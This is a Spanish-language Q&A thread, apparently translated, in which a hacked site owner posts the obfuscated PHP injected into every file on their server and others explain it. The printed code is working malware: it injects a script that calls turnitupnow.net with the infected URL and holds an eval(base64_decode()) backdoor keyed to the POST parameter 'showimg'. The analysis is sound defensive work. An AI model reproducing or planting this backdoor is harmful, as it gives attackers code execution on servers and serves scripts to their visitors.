2011-11-09 15 views
10

Nuestro servidor fue pirateado a través de algún método de inyección SQL (ahora parcheado). Todos nuestros archivos PHP tienen esto agregado a la parte superior de cada archivo.Hackeado: ¿Alguien sabe lo que hace este código PHP?

global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if([email protected]$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if([email protected]_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if([email protected]_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"][email protected]$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} } 

Parece que se establece una cookie, pero no tengo la primera idea de qué hace.

Cualquier expertos capaces de entender lo que esto hace y potencialmente lo que el nombre de la cookie que se crea que puede parecer por lo que puedo decir cualquier usuario etc

ACTUALIZACIÓN Visto el exploit se debe a un plugin en el Zenphoto Software de galería llamado Tiny_MCE.

+0

¿por qué está etiquetado con sql injection? –

+4

Lo que tengo curiosidad por saber cómo es la inyección de SQL ganado un atacante el acceso de sistema de archivos .... –

+0

tenía la misma cosa en este momento, y yo decidimos hacer una restauración completa en lugar de escarbar en unos archivos squillion. Añadió scripts de cookies a cualquier archivo .php, y todo se esconde en htaccess, como dice Dave. Redirige y, en algún momento, colocará su sitio en la lista negra. No tan agradable. Buena suerte a todos. – Benteh

Respuesta

10

Primero establece una cookie. (LB11 llamado) al valor 102.

Si (más tarde?) Encuentra la cookie, se establece la cookie a un valor aleatorio entre 1000 y 9000, por lo que no lo hace de nuevo: Tiene el usuario petición (y ejecutar) un javascript, que envía el cual que infectó URL hizo la llamada, y luego actualizar la página, (así que nada parece han ocurrido después de que el Javascript se ha ejecutado.

Pero en cualquier caso, si el parámetro "showimg" se pasa a la página, mira el contenido de esa página y lo ejecuta en el servidor.

lo tanto, si el código está presente, pondrá en funcionamiento el javascript, (que también informa al servidor que está infectada URL, y luego dejar que la persona ejecutar código arbitrario (a través del parámetro showimg) en el servidor infectado.

Esto tiene 2 capas de ataques, puede atacar el cliente con javascript, y más tarde puede atacar el servidor y ejecutar código arbitrario en él.

+0

Tenga en cuenta que la cookie no parece tener ninguna consecuencia. En su mayoría es inofensivo. De hecho, la cookie evitará que el código JavaScript que se ejecuten de nuevo, por lo que en realidad beneficia al usuario si visita otra página infectada (identitically infectado) en el servidor. – McKay

0

Podría estar equivocado aquí, pero por lo que parece (sin probar los enlaces en el código); podría estar intentando inyectar algún javascript del lado del cliente que podría ser malicioso. Esto generalmente infectaría la computadora de los visitantes con malware, etc.

En cuanto al nombre de la cookie. Me gustaría conseguir a sus visitantes para eliminar todas las cookies de su dominio, pero desde el aspecto de la misma, la cookie se llama "LB11"

no lo hice de fantasía mirando los enlaces como se puede entender;)

Cuestiones relacionadas